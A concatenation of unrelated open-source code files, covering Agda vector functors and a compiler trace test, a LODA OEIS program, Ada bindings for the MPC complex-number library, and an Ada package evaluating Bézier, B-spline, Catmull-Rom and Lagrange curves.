------------------------------------------------------------------------
-- Functor and applicative
functor : RawFunctor (λ (A : Set a) → Vec A n)
functor = record
{ _<$>_ = map
}
applicative : RawApplicative (λ (A : Set a) → Vec A n)
applicative = record
{ pure = replicate
; _⊛_ = Vec._⊛_
}
------------------------------------------------------------------------
-- Get access to other monadic functions
module _ {f F} (App : RawApplicative {f} F) where
open RawApplicative App
sequenceA : ∀ {A n} → Vec (F A) n → F (Vec A n)
sequenceA [] = pure []
sequenceA (x ∷ xs) = _∷_ <$> x ⊛ sequenceA xs
mapA : ∀ {a} {A : Set a} {B n} → (A → F B) → Vec A n → F (Vec B n)
mapA f = sequenceA ∘ map f
forA : ∀ {a} {A : Set a} {B n} → Vec A n → (A → F B) → F (Vec B n)
forA = flip mapA
module _ {m M} (Mon : RawMonad {m} M) where
private App = RawMonad.rawIApplicative Mon
sequenceM : ∀ {A n} → Vec (M A) n → M (Vec A n)
sequenceM = sequenceA App
mapM : ∀ {a} {A : Set a} {B n} → (A → M B) → Vec A n → M (Vec B n)
mapM = mapA App
forM : ∀ {a} {A : Set a} {B n} → Vec A n → (A → M B) → M (Vec B n)
forM = forA App
------------------------------------------------------------------------
-- Other
-- lookup is a functor morphism from Vec to Identity.
lookup-functor-morphism : (i : Fin n) → Fun.Morphism functor Id.functor
lookup-functor-morphism i = record
{ op = flip lookup i
; op-<$> = lookup-map i
}
-- lookup is an applicative functor morphism.
lookup-morphism : (i : Fin n) → Morphism applicative Id.applicative
lookup-morphism i = record
{ op = flip lookup i
; op-pure = lookup-replicate i
; op-⊛ = lookup-⊛ i
}
|
oeis/066/A066268.asm | neoneye/loda-programs | 11 | 4159 | <filename>oeis/066/A066268.asm
; A066268: Product of first n primorials - 1.
; Submitted by <NAME>
; 1,11,359,75599,174635999,5244319079999,2677277333530799999,25968760179275365451999999,5793445238736255798985527239999999,37481813439427687898244906452608585199999999,7517370874372838151564668004911177464757864075999999999,55784440720968513813368002533861454979548176771615744085559999999999,16972430790072694934938157854257758698967290083702175348735860941628087599999999999,222046261244808869776040900239313953120666458401987626347805929809038681543479663134627999999999999
add $0,1
seq $0,6939 ; Chernoff sequence: a(n) = Product_{k=1..n} prime(k)^(n-k+1).
sub $0,1
|
source/mpc-root_c.adb | ytomino/gmp-ada | 4 | 922 | with MPFR.Root_FR.Inside;
with System;
with C.mpfr;
with C.string;
package body MPC.Root_C is
use type C.signed_int;
procedure memcpy (dst, src : System.Address; n : C.size_t)
with Import, Convention => Intrinsic, External_Name => "__builtin_memcpy";
-- implementation
function Re (X : MP_Complex) return MPFR.Root_FR.MP_Float is
Source : C.mpfr.mpfr_t renames Controlled.Constant_Reference (X).re;
Dummy : C.signed_int;
begin
return Result :
MPFR.Root_FR.MP_Float (
MPFR.Precision (C.mpfr.mpfr_get_prec (Source (0)'Access)))
do
Dummy :=
C.mpfr.mpfr_set4 (
MPFR.Root_FR.Inside.Reference (Result),
Source (0)'Access,
C.mpfr.MPFR_RNDN,
C.mpfr.mpfr_sgn (Source (0)'Access));
end return;
end Re;
function Im (X : MP_Complex) return MPFR.Root_FR.MP_Float is
Source : C.mpfr.mpfr_t renames Controlled.Constant_Reference (X).im;
Dummy : C.signed_int;
begin
return Result :
MPFR.Root_FR.MP_Float (
MPFR.Precision (C.mpfr.mpfr_get_prec (Source (0)'Access)))
do
Dummy :=
C.mpfr.mpfr_set4 (
MPFR.Root_FR.Inside.Reference (Result),
Source (0)'Access,
C.mpfr.MPFR_RNDN,
C.mpfr.mpfr_sgn (Source (0)'Access));
end return;
end Im;
function Compose (Re, Im : MPFR.Root_FR.MP_Float) return MP_Complex is
Dummy : C.signed_int;
begin
return Result : MP_Complex (Re.Precision, Im.Precision) do
Dummy :=
C.mpc.mpc_set_fr_fr (
Controlled.Reference (Result),
MPFR.Root_FR.Inside.Constant_Reference (Re),
MPFR.Root_FR.Inside.Constant_Reference (Im),
C.mpc.MPC_RNDNN);
end return;
end Compose;
function Compose (
Re : Long_Long_Float;
Real_Precision : MPFR.Precision;
Im : MPFR.Root_FR.MP_Float)
return MP_Complex
is
Im_Source : constant not null access constant C.mpfr.mpfr_struct :=
MPFR.Root_FR.Inside.Constant_Reference (Im);
Dummy : C.signed_int;
begin
return Result : MP_Complex (Real_Precision, Im.Precision) do
declare
Raw_Result : constant not null access C.mpc.mpc_struct :=
Controlled.Reference (Result);
begin
Dummy :=
C.mpfr.mpfr_set_ld (
Raw_Result.re (0)'Access,
C.long_double (Re),
C.mpfr.MPFR_RNDN);
Dummy :=
C.mpfr.mpfr_set4 (
Raw_Result.im (0)'Access,
Im_Source,
C.mpfr.MPFR_RNDN,
C.mpfr.mpfr_sgn (Im_Source));
end;
end return;
end Compose;
function Image (
Value : MP_Complex;
Base : Number_Base := 10;
Rounding : MPC.Rounding)
return String
is
Image : constant C.char_ptr :=
C.mpc.mpc_get_str (
C.signed_int (Base),
0,
Controlled.Constant_Reference (Value),
C.mpc.mpc_rnd_t (Rounding));
Length : constant Natural := Integer (C.string.strlen (Image));
Ada_Image : String (1 .. Length);
for Ada_Image'Address use Image.all'Address;
begin
return Result : String (1 .. Length) do
Result := Ada_Image;
C.mpc.mpc_free_str (Image);
end return;
end Image;
function Value (
Image : String;
Base : Number_Base := 10;
Real_Precision : MPFR.Precision;
Imaginary_Precision : MPFR.Precision;
Rounding : MPC.Rounding)
return MP_Complex
is
Image_Length : constant C.size_t := Image'Length;
C_Image : C.char_array (0 .. Image_Length); -- NUL
begin
memcpy (C_Image'Address, Image'Address, Image_Length);
C_Image (Image_Length) := C.char'Val (0);
return Result : MP_Complex (Real_Precision, Imaginary_Precision) do
if C.mpc.mpc_set_str (
Controlled.Reference (Result),
C_Image (C_Image'First)'Access,
C.signed_int (Base),
C.mpc.mpc_rnd_t (Rounding)) < 0
then
raise Constraint_Error;
end if;
end return;
end Value;
function "=" (Left, Right : MP_Complex) return Boolean is
begin
return C.mpc.mpc_cmp (
Controlled.Constant_Reference (Left),
Controlled.Constant_Reference (Right)) = 0;
end "=";
function "<" (Left, Right : MP_Complex) return Boolean is
begin
return C.mpc.mpc_cmp (
Controlled.Constant_Reference (Left),
Controlled.Constant_Reference (Right)) < 0;
end "<";
function ">" (Left, Right : MP_Complex) return Boolean is
begin
return C.mpc.mpc_cmp (
Controlled.Constant_Reference (Left),
Controlled.Constant_Reference (Right)) > 0;
end ">";
function "<=" (Left, Right : MP_Complex) return Boolean is
begin
return C.mpc.mpc_cmp (
Controlled.Constant_Reference (Left),
Controlled.Constant_Reference (Right)) <= 0;
end "<=";
function ">=" (Left, Right : MP_Complex) return Boolean is
begin
return C.mpc.mpc_cmp (
Controlled.Constant_Reference (Left),
Controlled.Constant_Reference (Right)) >= 0;
end ">=";
function Copy (
Right : MP_Complex;
Real_Precision : MPFR.Precision := MPFR.Default_Precision;
Imaginary_Precision : MPFR.Precision := MPFR.Default_Precision;
Rounding : MPC.Rounding := Default_Rounding)
return MP_Complex
is
Dummy : C.signed_int;
begin
return Result : MP_Complex (Real_Precision, Imaginary_Precision) do
Dummy :=
C.mpc.mpc_set (
Controlled.Reference (Result),
Controlled.Constant_Reference (Right),
C.mpc.mpc_rnd_t (Rounding));
end return;
end Copy;
function Negative (
Right : MP_Complex;
Real_Precision : MPFR.Precision;
Imaginary_Precision : MPFR.Precision;
Rounding : MPC.Rounding)
return MP_Complex
is
Dummy : C.signed_int;
begin
return Result : MP_Complex (Real_Precision, Imaginary_Precision) do
Dummy :=
C.mpc.mpc_neg (
Controlled.Reference (Result),
Controlled.Constant_Reference (Right),
C.mpc.mpc_rnd_t (Rounding));
end return;
end Negative;
function Add (
Left, Right : MP_Complex;
Real_Precision : MPFR.Precision;
Imaginary_Precision : MPFR.Precision;
Rounding : MPC.Rounding)
return MP_Complex
is
Dummy : C.signed_int;
begin
return Result : MP_Complex (Real_Precision, Imaginary_Precision) do
Dummy :=
C.mpc.mpc_add (
Controlled.Reference (Result),
Controlled.Constant_Reference (Left),
Controlled.Constant_Reference (Right),
C.mpc.mpc_rnd_t (Rounding));
end return;
end Add;
function Subtract (
Left, Right : MP_Complex;
Real_Precision : MPFR.Precision;
Imaginary_Precision : MPFR.Precision;
Rounding : MPC.Rounding)
return MP_Complex
is
Dummy : C.signed_int;
begin
return Result : MP_Complex (Real_Precision, Imaginary_Precision) do
Dummy :=
C.mpc.mpc_sub (
Controlled.Reference (Result),
Controlled.Constant_Reference (Left),
Controlled.Constant_Reference (Right),
C.mpc.mpc_rnd_t (Rounding));
end return;
end Subtract;
function Multiply (
Left, Right : MP_Complex;
Real_Precision : MPFR.Precision;
Imaginary_Precision : MPFR.Precision;
Rounding : MPC.Rounding)
return MP_Complex
is
Dummy : C.signed_int;
begin
return Result : MP_Complex (Real_Precision, Imaginary_Precision) do
Dummy :=
C.mpc.mpc_mul (
Controlled.Reference (Result),
Controlled.Constant_Reference (Left),
Controlled.Constant_Reference (Right),
C.mpc.mpc_rnd_t (Rounding));
end return;
end Multiply;
function Divide (
Left, Right : MP_Complex;
Real_Precision : MPFR.Precision;
Imaginary_Precision : MPFR.Precision;
Rounding : MPC.Rounding)
return MP_Complex
is
Dummy : C.signed_int;
begin
return Result : MP_Complex (Real_Precision, Imaginary_Precision) do
Dummy :=
C.mpc.mpc_div (
Controlled.Reference (Result),
Controlled.Constant_Reference (Left),
Controlled.Constant_Reference (Right),
C.mpc.mpc_rnd_t (Rounding));
end return;
end Divide;
function Power (
Left : MP_Complex;
Right : Integer;
Real_Precision : MPFR.Precision;
Imaginary_Precision : MPFR.Precision;
Rounding : MPC.Rounding)
return MP_Complex
is
Dummy : C.signed_int;
begin
return Result : MP_Complex (Real_Precision, Imaginary_Precision) do
Dummy :=
C.mpc.mpc_pow_si (
Controlled.Reference (Result),
Controlled.Constant_Reference (Left),
C.signed_long (Right),
C.mpc.mpc_rnd_t (Rounding));
end return;
end Power;
package body Controlled is
function Create (
Real_Precision : MPFR.Precision;
Imaginary_Precision : MPFR.Precision)
return MP_Complex is
begin
return Result : MP_Complex := (Ada.Finalization.Controlled with Raw => <>) do
C.mpc.mpc_init3 (
Result.Raw (0)'Access,
C.mpfr.mpfr_prec_t (Real_Precision),
C.mpfr.mpfr_prec_t (Imaginary_Precision));
end return;
end Create;
function Reference (Item : in out Root_C.MP_Complex)
return not null access C.mpc.mpc_struct is
begin
return Item.Data.Raw (0)'Unchecked_Access;
end Reference;
function Constant_Reference (Item : Root_C.MP_Complex)
return not null access constant C.mpc.mpc_struct is
begin
return Item.Data.Raw (0)'Unchecked_Access;
end Constant_Reference;
overriding procedure Initialize (Object : in out MP_Complex) is
begin
raise Program_Error;
end Initialize;
overriding procedure Adjust (Object : in out MP_Complex) is
Source : constant C.mpc.mpc_t := Object.Raw; -- move
Dummy : C.signed_int;
begin
C.mpc.mpc_init3 (
Object.Raw (0)'Access,
C.mpfr.mpfr_get_prec (Source (0).re (0)'Access),
C.mpfr.mpfr_get_prec (Source (0).im (0)'Access));
Dummy :=
C.mpc.mpc_set (Object.Raw (0)'Access, Source (0)'Access, C.mpc.MPC_RNDNN);
end Adjust;
overriding procedure Finalize (Object : in out MP_Complex) is
begin
C.mpc.mpc_clear (Object.Raw (0)'Access);
end Finalize;
end Controlled;
end MPC.Root_C;
|
src/curve.adb | alkhimey/Ada_Curve | 5 | 28225 | -- The MIT License (MIT)
--
-- Copyright (c) 2015-2017 <EMAIL>
--
-- Permission is hereby granted, free of charge, to any person obtaining a copy
-- of this software and associated documentation files (the "Software"), to deal
-- in the Software without restriction, including without limitation the rights
-- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-- copies of the Software, and to permit persons to whom the Software is
-- furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in
-- all copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-- THE SOFTWARE.
--
--
with Ada.Numerics;
package body Curve is
function "+" (Left, Right : in Point_Type) return Point_Type is
Result : Point_Type;
begin
for I in Result'Range loop
Result(I) := Left(I) + Right(I);
end loop;
return Result;
end;
function "-" (Left, Right : in Point_Type) return Point_Type is
Result : Point_Type;
begin
for I in Result'Range loop
Result(I) := Left(I) - Right(I);
end loop;
return Result;
end;
function "-" (Right : in Point_Type) return Point_Type is
Result : Point_Type;
begin
for I in Result'Range loop
Result(I) := - Right(I);
end loop;
return Result;
end;
function "*" (Left : in Point_Type;
Right : in Base_Real_Type ) return Point_Type is
Result : Point_Type;
begin
for I in Result'Range loop
Result(I) := Right * Left(I);
end loop;
return Result;
end;
function "*" (Left : in Base_Real_Type;
Right : in Point_Type ) return Point_Type is
begin
return Right * Left;
end;
function Eval_De_Castelijau( Control_Points : in Control_Points_Array;
T : in Parametrization_Type) return Point_Type is
Temp_Points : Control_Points_Array := Control_Points;
begin
for I in 1 .. Control_Points'Length - 1 loop
for J in Control_Points'First .. Control_Points'Last - I loop
Temp_Points(J) := T * Temp_Points(J) + (1.0-T) * Temp_Points(J+1);
end loop;
end loop;
return Temp_Points(Temp_Points'First);
end;
-- De Boor algorithm taken from here:
-- http://www.cs.mtu.edu/~shene/COURSES/cs3621/NOTES/spline/B-spline/de-Boor.html
--
-- If u lies in [uk,uk+1) and u != uk, let h = p (i.e., inserting u p times) and s = 0;
-- If u = uk and uk is a knot of multiplicity s, let h = p - s (i.e., inserting u p - s times);
-- Copy the affected control points Pk-s, Pk-s-1, Pk-s-2, ..., Pk-p+1 and Pk-p to a new array and rename them as Pk-s,0, Pk-s-1,0, Pk-s-2,0, ..., Pk-p+1,0;
--
-- for r := 1 to h do
-- for i := k-p+r to k-s do
-- Let ai,r = (u - ui) / ( ui+p-r+1 - ui )
-- Let Pi,r = (1 - ai,r) Pi-1,r-1 + ai,r Pi,r-1
-- Pk-s,p-s is the point C(u).
--
-- Assumption: Knot_Values is sorted
--
function Eval_De_Boor ( Control_Points : in Control_Points_Array;
Knot_Values : in Knot_Values_Array;
T : in Parametrization_Type;
Is_Outside_The_Domain : out Boolean) return Point_Type is
subtype Knot_Index_Type is Positive range Knot_Values'Range;
Degree : constant Natural := Knot_Values'Length - Control_Points'Length - 1;
function Alpha( I,R : in Knot_Index_Type) return Parametrization_Type is
begin
return (T - Knot_Values(I)) / (Knot_Values(I + Degree - R + 1) - Knot_Values(I));
end Alpha;
-- Intermidiate values
--
type P_Type is array
( Knot_Index_Type,
Natural range 0 .. Degree) of Point_Type;
S : Natural := 0; -- Mulltiplicity
K : Knot_Index_Type;
P : P_Type := (others => (others => Point_Type'(others => 0.0) ) );
begin
-- Check if T is inside the domain
--
if T < Knot_Values( Knot_Values'First + Degree) or else
T > Knot_Values( Knot_Values'Last - Degree) then
Is_Outside_The_Domain := True;
return ORIGIN_POINT;
else
Is_Outside_The_Domain := False;
end if;
-- Determine knot segment
--
K := Knot_Values'Last - Degree;
for I in Knot_Values'First + Degree .. Knot_Values'Last - Degree - 1 loop
if Knot_Values( I ) <= T and then T < Knot_Values( I + 1 ) then
K := I;
end if;
end loop;
-- Calculate multiplicity
--
S := 0;
for I in Knot_Values'Range loop
if Knot_Values( I ) = T then
S := S + 1;
end if;
end loop;
if S > Degree then
-- This is a special case. When the spline is clamped then
-- the value "T = Knot_Values( Knot_Value'Last - Degree )" is
-- outside the domain. But since we desire a nice drawing, we
-- extrapolate it into the last control point.
--
if T = Knot_Values( Knot_Values'Last ) then
return Control_Points( Control_Points'Last );
end if;
-- TODO: It is not straight clear what is the correct resolution here...
S := Degree;
end if;
-- Prepare the points
--
for I in Knot_Index_Type range K - Degree .. K - S loop
P(I, 0) := Control_Points( I ); -- Assumed here that Knot_Values'First = Control_Points'First
end loop;
-- Preform knot insertion H times
--
for R in Knot_Index_Type range 1 .. Degree - S loop
for I in Knot_Index_Type range K - Degree + R .. K - S loop
declare
A : Parametrization_Type := Alpha(I, R);
begin
P(I, R) := (1.0-A) * P(I-1, R-1) + A * P(I,R-1);
end;
end loop;
end loop;
-- Return the result
--
return P(K-S, Degree-S);
end;
function Eval_Catmull_Rom ( Control_Points : in Control_Points_Array;
Segment : in Positive;
T : in Parametrization_Type) return Point_Type is
P0, P1, P2, P3 : Point_Type;
begin
P0 := Control_Points( Segment );
P1 := Control_Points( Segment + 1 );
P2 := Control_Points( Segment + 2 );
P3 := Control_Points( Segment + 3 );
return 0.5 * (
(2.0 * P1) +
T * (-P0 + P2) +
T*T * (2.0 * P0 - 5.0 * P1 + 4.0 * P2 - P3) +
T*T*T * (-P0 + 3.0 * P1 - 3.0 * P2 + P3)
);
end;
function Eval_Lagrange( Control_Points : in Control_Points_Array;
Interpolation_Nodes : in Interpolation_Nodes_Array;
T : in Parametrization_Type) return Point_Type is
Result : Point_Type := ORIGIN_POINT;
subtype Interpolation_Nodes_Index_Type is Positive range Interpolation_Nodes'Range;
function Eval_Basis_Poly(J : in Interpolation_Nodes_Index_Type) return Base_Real_Type is
D : constant Base_Real_Type := (Parametrization_Type'Last - Parametrization_Type'First) / Base_Real_Type(Control_Points'Length - 1);
Numentator : Base_Real_Type := 1.0;
Denominator : Base_Real_Type := 1.0;
begin
for M in Control_Points'Range loop
if M /= J then
Numentator := Numentator * ( T - Interpolation_Nodes(M) );
Denominator := Denominator * ( Interpolation_Nodes(J) - Interpolation_Nodes(M) );
end if;
end loop;
return Numentator / Denominator;
end Eval_Basis_Poly;
begin
for I in Control_Points'Range loop
Result := Result + Control_Points(I) * Eval_Basis_Poly(I);
end loop;
return Result;
end Eval_Lagrange;
function Make_Equidistant_Nodes( N : Positive ) return Interpolation_Nodes_Array is
D : constant Base_Real_Type := (Parametrization_Type'Last - Parametrization_Type'First) / Base_Real_Type(N - 1);
Res : Interpolation_Nodes_Array(1..N);
begin
Res(Res'First) := Parametrization_Type'First;
if N /= 1 then
for I in Res'First + 1 .. Res'Last - 1 loop
Res(I) := Parametrization_Type'First + D * Base_Real_Type(I-1);
end loop;
Res(Res'Last) := Parametrization_Type'Last;
end if;
return Res;
end;
function Make_Chebyshev_Nodes( N : Positive ) return Interpolation_Nodes_Array is
Res : Interpolation_Nodes_Array(1..N);
begin
Res := (others => 0.0);
for K in Res'Range loop
Res(K) := 0.5 * (Parametrization_Type'First + Parametrization_Type'Last) +
0.5 * (Parametrization_Type'Last - Parametrization_Type'First) *
Base_Type_Math.Cos( Ada.Numerics.PI * Base_Real_Type(2*K - 1) / Base_Real_Type(2*N) );
end loop;
return Res;
end;
begin
null;
end Curve;
|
Relator/Category.agda | Lolirofle/stuff-in-agda | 6 | 10458 | <gh_stars>1-10
module Relator.Category where
open import Data
open import Data.Tuple
import Lvl
open import Structure.Categorical.Properties
open import Structure.Category
open import Structure.Operator
open import Type
private variable ℓ : Lvl.Level
|
Basic/Compiler/Test.agda | AndrasKovacs/SemanticsWithApplications | 8 | 12135 |
module Basic.Compiler.Test where
open import Basic.AST
open import Basic.Compiler.Code
open import Basic.Compiler.Machine
open import Basic.BigStep
open import Data.Fin
open import Data.Nat
open import Data.Vec
open import Data.Product
open import Data.Bool
open import Data.List
open Basic.BigStep.Fac
{- Just a sandbox for testing the interpreters in Compiler.Machine -}
fac' : Code 3
fac' = 𝓒⟦ fac ⟧ˢ
test = trace fac' [] (1 ∷ 0 ∷ 0 ∷ []) 1000
-- normal form of "test"
-- (PUSH 0 ∷
-- STORE (suc zero) ∷
-- PUSH 1 ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , [] , 1 ∷ 0 ∷ 0 ∷ [])
-- ∷
-- (STORE (suc zero) ∷
-- PUSH 1 ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , nat 0 ∷ [] , 1 ∷ 0 ∷ 0 ∷ [])
-- ∷
-- (PUSH 1 ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , [] , 1 ∷ 0 ∷ 0 ∷ [])
-- ∷
-- (STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , nat 1 ∷ [] , 1 ∷ 0 ∷ 0 ∷ [])
-- ∷
-- (LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , [] , 1 ∷ 0 ∷ 1 ∷ [])
-- ∷
-- (FETCH zero ∷
-- FETCH (suc zero) ∷
-- LT ∷
-- BRANCH
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ [])
-- (NOOP ∷ [])
-- ∷ []
-- , [] , 1 ∷ 0 ∷ 1 ∷ [])
-- ∷
-- (FETCH (suc zero) ∷
-- LT ∷
-- BRANCH
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ [])
-- (NOOP ∷ [])
-- ∷ []
-- , nat 1 ∷ [] , 1 ∷ 0 ∷ 1 ∷ [])
-- ∷
-- (LT ∷
-- BRANCH
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ [])
-- (NOOP ∷ [])
-- ∷ []
-- , nat 0 ∷ nat 1 ∷ [] , 1 ∷ 0 ∷ 1 ∷ [])
-- ∷
-- (BRANCH
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ [])
-- (NOOP ∷ [])
-- ∷ []
-- , bool true ∷ [] , 1 ∷ 0 ∷ 1 ∷ [])
-- ∷
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , [] , 1 ∷ 0 ∷ 1 ∷ [])
-- ∷
-- (PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , nat 0 ∷ [] , 1 ∷ 0 ∷ 1 ∷ [])
-- ∷
-- (ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , nat 1 ∷ nat 0 ∷ [] , 1 ∷ 0 ∷ 1 ∷ [])
-- ∷
-- (STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , nat 1 ∷ [] , 1 ∷ 0 ∷ 1 ∷ [])
-- ∷
-- (FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , [] , 1 ∷ 1 ∷ 1 ∷ [])
-- ∷
-- (FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , nat 1 ∷ [] , 1 ∷ 1 ∷ 1 ∷ [])
-- ∷
-- (MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , nat 1 ∷ nat 1 ∷ [] , 1 ∷ 1 ∷ 1 ∷ [])
-- ∷
-- (STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , nat 1 ∷ [] , 1 ∷ 1 ∷ 1 ∷ [])
-- ∷
-- (LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
